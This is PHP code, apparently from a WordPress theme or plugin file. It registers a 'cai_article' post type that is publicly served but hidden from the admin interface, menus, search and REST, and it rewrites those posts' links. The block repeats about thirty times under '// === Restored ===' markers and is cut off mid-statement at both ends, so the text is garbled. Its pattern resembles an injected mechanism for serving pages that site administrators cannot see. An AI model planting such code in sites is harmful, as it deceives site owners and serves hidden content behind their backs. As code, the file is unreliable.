return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
